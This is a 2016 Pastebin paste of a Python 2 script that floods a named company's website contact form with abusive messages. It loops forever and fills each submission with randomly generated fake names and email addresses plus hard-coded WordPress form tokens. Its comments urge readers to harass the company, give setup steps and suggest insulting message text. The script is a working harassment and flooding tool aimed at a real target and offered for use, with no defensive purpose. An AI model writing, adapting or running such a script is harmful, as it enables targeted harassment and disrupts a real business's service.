Advertisement
Guest User

FineBros Spam Script

a guest
Jan 29th, 2016
359
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.80 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #
  3. # Fuck the FineBros, spam their contact form!
  4. #
  5. # Download names.txt here: https://raw.githubusercontent.com/dominictarr/random-name/master/names.txt
  6. # Put names.txt in the same directory as this script.
  7. # You must have python 2.7.x installed for this to work, download here: https://www.python.org/ftp/python/2.7.11/python-2.7.11.msi
  8. # Once it is installed, you should be able to double-click this script (save as anything.py) to execute it.
  9. #
  10. # HMU on twitter with any questions: twitter.com/ItsFozo
  11. #
  12. import random, urllib, urllib2
  13.  
  14. ######################### EDIT THESE #########################
  15. subjects = [ "Put Some", "Very Annoying", "Subject Names", "Here" ]
  16. msgs = [ "Also put some very", "mean messages here.", "Maybe something like....", "FUCK YOU FINEBROS", "Greedy fucks." ]
  17. ######################### EDIT THESE #########################
  18.  
  19. names = open("names.txt", "r").readlines()
  20. def rand_email():
  21.     ext = [ "@yahoo.com", "@gmail.com", "@mail.ru", "@aol.com", "@comcast.net", "@outlook.com", "@live.com" ]
  22.     return (random.choice(names) + "." + random.choice(names)).lower().replace("\r", "").replace("\n", "") + random.choice(ext)
  23.  
  24. def rand_name():
  25.     return (random.choice(names) + " " + random.choice(names)).replace("\n", "").replace("\r", "")
  26.  
  27. url = "http://www.finebrosent.com/contact/"
  28. count = 0
  29. while True:
  30.     data = urllib.urlencode({'your-name':rand_name(), 'your-email':rand_email(), 'your-subject':random.choice(subjects),'your-message':random.choice(msgs),'_wpcf7': '572', '_wpcf7_version': '4.3.1', '_wpcf7_locale':'en_US', '_wpcf7_unit_tag':'wpcf7-f572-p542-o1','_wpnonce':'c75fc90c93','_wpcf7_is_ajax_call':'1'})
  31.     req = urllib2.Request(url, data)
  32.     response = urllib2.urlopen(req)
  33.     print response.read()
  34.     count += 1
  35.     print count
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement